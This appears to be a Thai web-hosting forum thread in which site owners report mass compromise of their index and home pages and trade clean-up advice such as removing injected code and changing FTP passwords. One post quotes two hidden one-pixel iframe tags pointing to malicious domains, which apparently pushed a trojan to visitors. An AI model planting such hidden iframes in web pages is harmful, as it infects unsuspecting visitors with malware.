ต่อไป »

[004275]

ลบสคริปต์ที่ฝังออกให้หมด แล้วเปลี่ยน pass ใหม่คับ

ลองดู ผมทำแลล้วหายอะคับ

[irecog]

มาเป็นกำลังใจครับ...อย่ายอมแพ้มันครับ...เพราะเอาเว็บเราเป็นเดิมพัน

[smith]

เป็นที่ ฝั่ง server นะผมว่า เมื่อกี้ลองเช็คๆดู
ขนาดสคิปส์ที่ผมเขียนเอง ไว้ใช้คนเดียว ยังโดนเลย
ไฟล์ที่ขึ้นต้นด้วย home index default main  โดนทุกไฟล์เลย

[manchy]

ผมก็เพิ่งโดนสดๆเลยครับเว็ปในเครือโดนหมดเลยเซ็งๆๆ

งานเข้าๆๆ 

[prempcc]

มาเป็นกำลังใจให้หาทางออกได้

[arabanaki]

ผมก็โดนครับ รวดเดียวยี่สิบเว็บเลย โทรไปหา hosting เขาบอกให้ลบบรรทัดนั้นออก แล้วสร้างหน้า index.html ใส่ javascript ให้ redirect เข้าไปที่หน้า index.php แต่ว่าเราต้องย้ายเข้าไปให้ลึกกว่าชั้น root นะครับ เลยรอดตัวมาได้จนถึงทุกวันนี้  แต่ไม่รู้ว่าจะโดนอีกเมื่อไหร่ 

[ผีหัวโล้นผมยาว]

มันเกี่ยวกับ โปรแกรม FTP หรือเปล่าครับ 

[Robin]

เกือบทุกที่

แสดงว่า หลายHost

ผมว่าปัญหานี้น่าจะอยู่เจ้าตัวมากกว่า ไม่ได้อยู่ที่ host

ไม่งั้น Hosting เจ๊งกะบ๋ง ไปแล้ว

คิดดู

[Kobsoft]

ตอนนี้ 00.40 ที่ผมกำลังทำอยู่คือ load web ลงมาทั้งยวงครับ แล้วกะจะ replace ไอ้ code นี้ ทั้ง folder ทิ้ง

ตอนนี้ที่นึกวิธีออกก็มีเท่านี้ ยังโหลดลงมาไม่หมดเรย 

ใครมีวิธีที่ดีกว่านี้ช่วยแชร์กันด้วยนะครับ ขอบคุณครับ

   ถ้าโดนใส่ iframe เป็น ip หรือ url ชุดเดิม หรือชุดใหม่เป็นผมปกติถ้าในเว็บผมไม่ได้ใช้ iframe ผมจะเขียนฟังก์ชั่นยกเิลิกคำสั่งแท็กของ iframe ให้ไม่มีค่าในการรันคับ เพราะนิสัยไอพวกนี้ ถ้าเราไปลบ หรืออัพไฟล์ใหม่ลงไป ยังไงมันก็เล่นเราอีก มันอยากยิงโค้ดมาก็ให้มันยิงมา แต่เขียนคำสั่งให้โค้ดมันรันไม่ได้ น่าจะเป็นทางเลือกอีกทางคับ ลองๆ ดู

[oosora]

ขอแสดงความเสียใจอย่างสุดซึ้ง

[PrinzA]

แก้ permission เป็น 666 ครับ สำหรับ host window ถ้าเป็น host linux ไม่ค่อยมีปัญหาครับ สคริปตัวนี้จะโจมตีเฉพาะ ไฟล์สำคัญๆของเว็ปครับ

[smith]

โค๊ด:

<iframe src="http://betbigwager.cn/in.cgi?income61" width=1 height=1 style="visibility: hidden"></iframe>
<iframe src="http://lotultimatebet.cn/in.cgi?income60" width=1 height=1 style="visibility: hidden"></iframe>

อันตรายนะครับ รู้สึกมันจะไปเรียก trojan ที่ฝังอยู่ในเครื่องของเรา อีกที เครืองผมใช้ antivir มันฟ้องมาทุกครั้งที่เข้าเว็บผม
แล้วเครื่องก็จะอึดๆไปสักพัก antivir ก็จะฟ้อง trojan ขึ้นมาชื่อ load.exe หรืออะไรประมาณนี้

พึ่งเอะใจ ว่าทำไมเข้าเว็บเราแล้วมันเจอ trojan

ใครมีตัว remove โทรจัน รบกวนแนะนำหน่อยครับ

[Shuriken]

เจอปัญหาคล้ายๆผมเลยครับ แต่ของผมเป็น Hostmoster ทุก php ไฟล์ โดนฝังสคริป eval(decode asdfaczxgasgb  มีผลไปถึงผลเสริชกูเกิ้ลนะครับสแปมคีเวิร์ดเต็มไปหมด  ผมเดาสาเหตุนะครับว่า มาจากการที่เราใช้ ftp browser ครับ มันแฮกแิอคเค้าเราได้ แล้วส่งโทรจันเข้ามา ตอนนี้ต้องมานั่งลบทุกไฟล์เลยครับ อยากฝากถึงคนที่ทำนะครับ ว่าทำอย่างนี้ไม่เจริญหรอกครับ เอาความสามารถไปสร้างสรรดีกว่าครับ คุณทำแบบนี้ก็เหมือน ขโมยเค้ากินหลอกเค้ากินแหละครับ ผมเห็น บางเว็บ ที่เป็นพวก hacker คุยกันสนุกสนานเลยน ลองสคริปโน้นสริปนี้แฮกโน่นแฮกนี่ ลองวิชาไปเรื่อยไม่เจริญครับทำให้คนเค้าสาปแช่งกัน เลิกซะนะครับ ซื่อกินไม่หมดคดกินไม่นานครับ

[aussavin]

โดนเหมือนกันครับ  เสียดายมาก เว็บลูกข่ายทั้งหลาย 

ตอนนี้ต้องทน กัดฟันทำใจ ให้เหลือแค่ 2 เว็บจะได้ดูแลทั่วถึง

 

[CommonSun]

วิธีแก้ไขเบื้องต้นนะครับ
1. ลบ code ที่ไวรัสนำมาฝังไว้ออกให้หมด ส่วนมากจะเป็นไฟล์หลัก เช่น index, home, default เป็นต้น
2. ทำการเปลี่ยนรหัสผ่าน ftp ทันที
3. หลีกเลี่ยงการ ftp ผ่าน browser โดยเฉพาะ internet explorer แนะนำให้ใช้ FileZilla ครับ

อย่าลืมหมั่น update และ scan virus ในเครื่องด้วยนะครับ

[senseword]

ผมก็โดนเหมือนกันตอนนี้เวปผมเข้าไม่ได้แล้วตอนนั้น hippoba ก็โดนโดยใช้ iframe ได้ท่านคุณพ่อน้องนะโมช่วยตอนนี้ก็ย้ายแล้วเหลือบางส่วนในโฮส นึกว่าเป็นแค่เวปเดียวตอนนี้แบบเข้าโฮสไม่ได้เลยครับ แนะนำหน่อยครับ

เวป save24hr.com

ผลเป็นดังด้านล่าง

โค๊ด:

http://server217.webhostingpad.com/suspended.page/

เมล์ไปเขาก็ตอบมา

Hello,
 
Your account was suspended due to "server abuse: session.php". In order to find out more details about the suspension, and to find out what you
will need to do in order to the account unsuspended you will need to send an email to our managers, stating your primary domain name and ask what needs
to be done in order to get the account unsuspended.
managers email: [email protected]
 
Thanks,
 
Eric Schell

ยังไงดีครับ

[ayeweb]

ซวยจริงครับ

[mekz]

ตามความคิดผม ผมคิดว่าน่าจะมาจากโฮสติ้งที่ให้บริการนั่นแหละ ที่เอาไวรัสมาแถมใส่เว็บเรา (อาจจะด้วยความตั้งใจ หรือ ไม่ตั้งใจก็ตามแต่

(ส่วนใหญ่ติดในไฟล์ index.* ทุกนามสกุลมั้ง)



อาการของ NOD32 ถ้าพบว่าเว็บของเรามีสคริปอันตรายฝังไว้อยู่


หน้าตาของสคริปอันตรายที่ฝังในไฟล์ index.php ของ WP (ได้ภาพมาจาก iChetblog.net ขอบคุณมา ณ ที่นี้ด้วย)


ส่วนถ้าใครเจอปัญหานี้ก็ แนะนำให้ลบสคริปอันตรายออกให้หมดเสียก่อน จากนั้นตั้ง Permissions (CHMOD) ของไฟล์เป็น 664 เป็นการชั่วคราวไปก่อน หากต้องการแก้ก็ down ไฟล์ลงมาในเครื่องเพื่อแก้ไขไฟล์ น่าจะเป็นการดีกว่า

 

ปล. ส่วน Wordpress จะติดเฉพาะไฟล์ index.php สองที่ คือ ที่ dir หลัก และ ที่เก็บไฟล์ธีมของเรา
ปล2. ส่วนตัวยังไม่ได้เจอ (เพราะใช้ Host Linux ละมั้ง) เห็นคนอื่นเขาเจอ เลยเอามาเล่าสู่กันฟังครับ

[w_nittaya]

 :'(คิดว่าน่าจะเจอเหมือนกัน ตอนแรกเปิดเว็ปตัวเองมา ตกใจมาก ใช้ netfirms อยุ่ เป็นทุกเว็ปเลยมีหน้าเว็ปใหม่เข้ามาแทรก บางเว็ปเปิดไม่ได้เลย ต้องทำไงดีเนี่ย

[mr.sit]

ใช้ filezilla บน linux มีสิทธิ์ติดด้วยมั้ยครับ? เพราะเมื่อครู่เข้าเว็บแล้วเจอแดงเถือกเลย เผลอ ftp เข้าไปแล้วด้วย ยังดีที่ยังไม่ได้เรียกดูเว็บเพราะ Firefox เตือนก่อน